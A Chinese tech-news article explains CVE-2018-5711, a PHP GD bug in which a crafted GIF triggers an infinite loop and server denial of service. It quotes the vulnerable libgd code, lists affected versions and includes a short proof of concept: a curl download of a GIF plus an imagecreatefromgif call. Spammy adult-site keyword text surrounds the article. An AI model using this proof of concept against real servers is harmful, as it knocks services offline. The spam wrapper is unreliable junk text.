成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

PHP漏洞|一張GIF圖片就能讓服務(wù)器宕機(jī)的PHP漏洞

開(kāi)發(fā) 后端
最近,臺(tái)灣Web漏洞挖掘大牛Orange Tsai在對(duì)一些Web開(kāi)發(fā)框架和程序?qū)崿F(xiàn)模塊進(jìn)行安全審核的過(guò)程中,發(fā)現(xiàn)了一些有意思的漏洞。就比如說(shuō),這個(gè)PHP的CVE-2018-5711,它能用一張GIF圖片就可導(dǎo)致服務(wù)器發(fā)生崩潰直至宕機(jī),在現(xiàn)實(shí)中非常容易利用。在此,Orange Tsai簡(jiǎn)單地介紹了這個(gè)漏洞。

[[219266]]

最近,臺(tái)灣Web漏洞挖掘大牛Orange Tsai在對(duì)一些Web開(kāi)發(fā)框架和程序?qū)崿F(xiàn)模塊進(jìn)行安全審核的過(guò)程中,發(fā)現(xiàn)了一些有意思的漏洞。就比如說(shuō),這個(gè)PHP的CVE-2018-5711,它能用一張GIF圖片就可導(dǎo)致服務(wù)器發(fā)生崩潰直至宕機(jī),在現(xiàn)實(shí)中非常容易利用。在此,Orange Tsai簡(jiǎn)單地介紹了這個(gè)漏洞。

漏洞影響的PHP版本 包含以下PHP系列和其它所有PHP版本

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

漏洞細(xì)節(jié) 漏洞存在于文件ext/gd/libgd/gdgifin.c中,其中在LWZReadByte_函數(shù)中存在一個(gè)循環(huán)(while-loop):

 

  1. do { 
  2.  
  3.     sd->firstcode = sd->oldcode = 
  4.  
  5.     GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP); 
  6.  
  7. } while (sd->firstcode == sd->clear_code); 

 

GetCode函數(shù)僅只是一個(gè)包裝類,GetCode_才是真正的執(zhí)行體:

 

  1. static int 
  2.  
  3. GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) 
  4.  
  5.  
  6.     int           i, j, ret; 
  7.  
  8.     unsigned char count
  9.  
  10.        ... 
  11.  
  12.     if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) 
  13.  
  14.        scd->done = TRUE
  15.  
  16.        ... 
  17.  
  18. }  

GetCode_ 會(huì)調(diào)用GetDataBlock來(lái)讀取GIF圖片中的數(shù)據(jù):

 

  1. static int 
  2.  
  3. GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) 
  4.  
  5.  
  6.  unsigned char   count
  7.  
  8.  if (! ReadOK(fd,&count,1)) { 
  9.  
  10.      return -1; 
  11.  
  12.  } 
  13.  
  14.  *ZeroDataBlockP = count == 0; 
  15.  
  16.  if ((count != 0) && (! ReadOK(fd, buf, count))) { 
  17.  
  18.      return -1; 
  19.  
  20.  } 
  21.  
  22.  return count
  23.  

 

以上就是涉及到的漏洞代碼,你有發(fā)現(xiàn)一些端倪嗎?

該漏洞依賴于從整形(int)到無(wú)符號(hào)字符(unsigned char)的類型轉(zhuǎn)換。就像上述的:如果GetDataBlock_返回-1,則第400行中的scd->done將會(huì)被設(shè)置為True,并停止while循環(huán)。但是其定義的count是無(wú)符號(hào)字符,它總是從0到255的正數(shù),所以這種循環(huán)停止動(dòng)作是不會(huì)被觸發(fā)執(zhí)行的。

因此,最終結(jié)果就是,一張GIF圖片就可以實(shí)現(xiàn)無(wú)限循環(huán),導(dǎo)致服務(wù)器資源耗盡,直到崩潰宕機(jī)。

PoC

 

  1. $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif 
  2.  
  3. $ php -r 'imagecreatefromgif("poc.gif");' 
  4.  
  5.   Infinite loop here... 

 

由于現(xiàn)實(shí)網(wǎng)絡(luò)中,很多服務(wù)器都會(huì)用GD圖形的擴(kuò)展庫(kù),對(duì)用戶上傳的圖片作重新尺寸調(diào)整處理,所以該漏洞具有很強(qiáng)的現(xiàn)實(shí)危害。

后記 Orange Tsai后續(xù)會(huì)公開(kāi)更多0-day和與該漏洞相關(guān)的內(nèi)容。

漏洞參考:

https://bugs.php.net/bug.php?id=75571

http://php.net/ChangeLog-7.php

 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711 

責(zé)任編輯:龐桂玉 來(lái)源: PHP技術(shù)大全
相關(guān)推薦

2013-07-03 11:28:47

2009-11-22 15:28:35

2012-04-12 16:05:50

2009-08-15 10:19:01

漏洞利用php expEXP程序

2013-03-25 11:51:42

php漏洞代碼審計(jì)php

2012-04-12 11:28:04

2015-02-04 14:50:29

2017-09-19 15:01:06

PHP漏洞滲透測(cè)試

2021-04-16 11:01:28

ExchangeNSA漏洞

2011-03-28 14:35:39

2012-04-12 15:42:35

2009-12-29 14:25:14

phpXSS漏洞

2009-11-04 21:06:06

2021-12-30 08:36:13

漏洞Apache服務(wù)器

2023-03-10 11:12:12

2013-05-06 11:04:07

2010-05-12 14:09:52

2012-02-06 09:14:26

2019-08-26 10:19:39

2012-04-12 15:59:09

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 久久最新精品 | 亚洲天天干 | 91综合在线观看 | a在线免费观看 | 91在线网站 | 精产国产伦理一二三区 | 午夜丰满寂寞少妇精品 | 一区二区高清 | 91.色| 久久久久久高潮国产精品视 | 国产91久久精品一区二区 | 一级电影免费看 | 国产精品久久777777 | 99精品久久99久久久久 | 99久久影院 | 欧美a级成人淫片免费看 | 国产精品久久九九 | 在线观看免费国产 | 午夜影院 | 欧美日韩亚洲成人 | 久久久亚洲一区 | 久色激情 | 亚洲一二三区不卡 | 欧美一级片在线看 | 欧美精品一区三区 | 亚洲一区二区在线视频 | 日韩伦理一区二区 | 狠狠久久| 一区二区亚洲 | 亚洲精品免费在线 | 超碰美女在线 | 一级毛片,一级毛片 | 免费在线一区二区三区 | 日韩理论电影在线观看 | 欧洲一级毛片 | 欧美亚洲国产日韩 | 欧美久久久久久久久 | 精品综合视频 | 亚洲视频中文字幕 | 欧美日韩在线观看一区二区三区 | 成人免费视频在线观看 |